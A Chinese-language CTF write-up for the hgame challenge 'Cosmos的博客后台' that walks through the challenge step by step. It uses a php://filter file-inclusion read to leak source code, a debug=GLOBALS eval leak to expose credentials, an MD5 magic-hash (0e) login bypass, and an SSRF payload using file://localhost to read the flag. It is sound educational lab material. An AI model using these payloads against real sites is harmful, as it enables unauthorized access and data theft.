Description:

Cosmos通过两个小时速成了PHP+HTML,他信心满满的写了一个博客,他说要从博客后台开始......(flag在根目录, 禁止使用任何扫描器)

Challenge Address    http://cosmos-admin.hgame.day-day.work  

题目给出了提示:PHP+HTML,没有学习sql所以也不存在sql注入,

(刚开始我以为他没好好学习sql,所以有sql注入,注了半个小时没注明白,还跑了个sqlmap)

 

第一步打开网页,发现action=login.php,卧槽怎么没早发现这个点,这是典型的文件包含啊

(此处不能包含到config.php和根目录的flag,被过滤了所以应该是为了让我们往下做)

 

肯定存在个login.php(没被过滤),用php的fileter协议来爆出这个login.php的源码

payload:action=php://filter/read=convert.base64-encode/resource=login.php

然后base64解码得到了源代码(最下面放上全代码的链接,可以自行下载):

关键PHP代码如下:

<?php
include "config.php";
session_start();

//Only for debug
if (DEBUG_MODE){
    if(isset($_GET['debug'])) {
        $debug = $_GET['debug'];
        if (!preg_match("/^[a-zA-Z_\x7f-\xff][a-zA-Z0-9_\x7f-\xff]*$/", $debug)) {
            die("args error!");
        }
        eval("var_dump($$debug);");
    }
}

if(isset($_SESSION['username'])) {
    header("Location: admin.php");
    exit();
}
else {
    if (isset($_POST['username']) && isset($_POST['password'])) {
        if ($admin_password == md5($_POST['password']) && $_POST['username'] === $admin_username){
            $_SESSION['username'] = $_POST['username'];
            header("Location: admin.php");
            exit();
        }
        else {
            echo "用户名或密码错误";
        }
    }
}
?>

大致意思我们可以清楚:博主应该是在config.php里放了自己的账号密码两个变量,也验证了不是sql注入的结论

!但是博主出了问题,debug,这个变量会通过eval("var_dump($$debug);");会暴露所有的配置信息

eval("var_dump($$debug);");这句话造成本地包含,暴露所有的变量信息

payload:http://cosmos-admin.hgame.day-day.work/login.php?debug=GLOBALS

如图,基本所有的信息都被爆出来了:

array(9) { ["_GET"]=> array(1) { ["debug"]=> string(7) "GLOBALS" } ["_POST"]=> array(0) { } ["_COOKIE"]=> array(1) { ["PHPSESSID"]=> string(26) "1hllumqt039vf9384rs80i5l8q" } ["_FILES"]=> array(0) { } ["debug"]=> string(7) "GLOBALS" ["admin_password"]=> string(32) "0e114902927253523756713132279690" ["admin_username"]=> string(7) "Cosmos!" ["_SESSION"]=> &array(0) { }
 ["GLOBALS"]=> array(9) { ["_GET"]=> array(1) { ["debug"]=> string(7) "GLOBALS" } ["_POST"]=> array(0) { } ["_COOKIE"]=> array(1) { ["PHPSESSID"]=> string(26) "1hllumqt039vf9384rs80i5l8q" } ["_FILES"]=> array(0) { } ["debug"]=> string(7) "GLOBALS" ["admin_password"]=> string(32) "0e114902927253523756713132279690" ["admin_username"]=> string(7) "Cosmos!" ["_SESSION"]=> &array(0) { } ["GLOBALS"]=> *RECURSION* } }

 admin_username:Cosmos!    admin_password:0e114902927253523756713132279690

注意这句话:用户名相同用,密码的md5值相同,但是md5比较时用了"=="的弱类型比较,所有我们不必爆出密码的原来值

找一个可以以0e开头的皆可:我这用的QNKCDZO

$admin_password == md5($_POST['password']) && $_POST['username'] === $admin_username

然后账户:Cosmos! 密码:QNKCDZO

进入后台:进入了admin.php,然后记不记得上面的文件包含:

payload:action=php://filter/read=convert.base64-encode/resource=admin.php

关键代码:

<?php
include "config.php";
session_start();
if(!isset($_SESSION['username'])) {
    header('Location: index.php');
    exit();
}

function insert_img() {
    if (isset($_POST['img_url'])) {
        $img_url = @$_POST['img_url'];
        $url_array = parse_url($img_url);
        if (@$url_array['host'] !== "localhost" && $url_array['host'] !== "timgsa.baidu.com") {
            return false;
        }   
        $c = curl_init();
        curl_setopt($c, CURLOPT_URL, $img_url);
        curl_setopt($c, CURLOPT_RETURNTRANSFER, 1);
        $res = curl_exec($c);
        curl_close($c);
        $avatar = base64_encode($res);

        if(filter_var($img_url, FILTER_VALIDATE_URL)) {
            return $avatar;
        }
    }
    else {
        return base64_encode(file_get_contents("static/logo.png"));
    }
}
?>

  $res = curl_exec($c);这个是明显的ssrf,这段代码大概意思是把你输入的url地址的文件转通过一系列函数执行得到目标的信息    结果,然后base64加密结果,回显到图片标签

 

 @$url_array['host'] !== "localhost" && $url_array['host'] !== "timgsa.baidu.com"这个是限制了两个白名单

  只能用百度图库和localhost

parse_url($img_url);这个函数没办法绕过所以只能看人家本地的文件,没办法nc连接

这里用到file协议:

payload:file://localhost/..//flag

如图:

得到结果: 

得到:aGdhbWV7cEhwXzFzX1RoM19CM3NUX0w0bkd1NGdFIUAhfQo=

base64解密后得到结果:hgame{pHp_1s_Th3_B3sT_L4nGu4gE!@!}

 

 

 

admin.php:链接:https://pan.baidu.com/s/1bHl62-24AqNaQ6viuPZ2lw 
提取码:3i68

 

login.php: 链接:https://pan.baidu.com/s/1l7zYdol2ThlgvDc3q3Phcw 
提取码:j06o